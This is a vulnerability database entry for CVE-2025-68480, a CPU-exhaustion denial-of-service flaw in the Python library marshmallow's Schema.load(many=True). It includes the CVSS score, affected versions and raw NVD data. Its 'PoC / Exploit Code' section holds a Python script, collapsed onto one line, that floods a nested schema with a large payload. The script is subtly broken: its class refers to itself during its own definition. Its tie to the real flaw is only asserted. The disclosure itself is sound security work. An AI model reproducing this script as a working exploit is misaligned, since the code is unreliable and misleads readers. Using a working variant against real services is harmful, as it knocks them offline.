Security Vulnerability Report
中文
CVE-2025-68480 CVSS 5.3 MEDIUM

CVE-2025-68480

Published: 2025-12-22 22:16:09
Last Modified: 2026-04-15 00:35:42

Description

Marshmallow is a lightweight library for converting complex objects to and from simple Python datatypes. In versions from 3.0.0rc1 to before 3.26.2 and from 4.0.0 to before 4.1.2, Schema.load(data, many=True) is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time. This issue has been patched in version 3.26.2 and 4.1.2.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

marshmallow 3.0.0rc1 - 3.26.1
marshmallow 4.0.0 - 4.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68480 PoC - Marshmallow DoS via Schema.load(many=True) import time from marshmallow import Schema, fields class ComplexSchema(Schema): # Define a schema with nested fields and validators field1 = fields.String(required=True) field2 = fields.Integer(required=True) field3 = fields.List(fields.Nested(ComplexSchema)) def exploit_dos(): schema = ComplexSchema() # Generate large payload with nested structures payload = [] for i in range(10000): payload.append({ "field1": "test_data", "field2": i, "field3": [{"field1": "nested", "field2": i}] * 5 }) start_time = time.time() # This call will consume disproportionate CPU time result = schema.load(payload, many=True) elapsed = time.time() - start_time print(f"Processing time: {elapsed:.2f} seconds") print(f"Processed {len(result)} items") if __name__ == "__main__": exploit_dos()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68480", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:09.457", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Marshmallow is a lightweight library for converting complex objects to and from simple Python datatypes. In versions from 3.0.0rc1 to before 3.26.2 and from 4.0.0 to before 4.1.2, Schema.load(data, many=True) is vulnerable to denial of service attacks. A moderately sized request can consume a disproportionate amount of CPU time. This issue has been patched in version 3.26.2 and 4.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-405"}]}], "references": [{"url": "https://github.com/marshmallow-code/marshmallow/commit/d24a0c9df061c4daa92f71cf85aca25b83eee508", "source": "[email protected]"}, {"url": "https://github.com/marshmallow-code/marshmallow/security/advisories/GHSA-428g-f7cq-pgp5", "source": "[email protected]"}]}}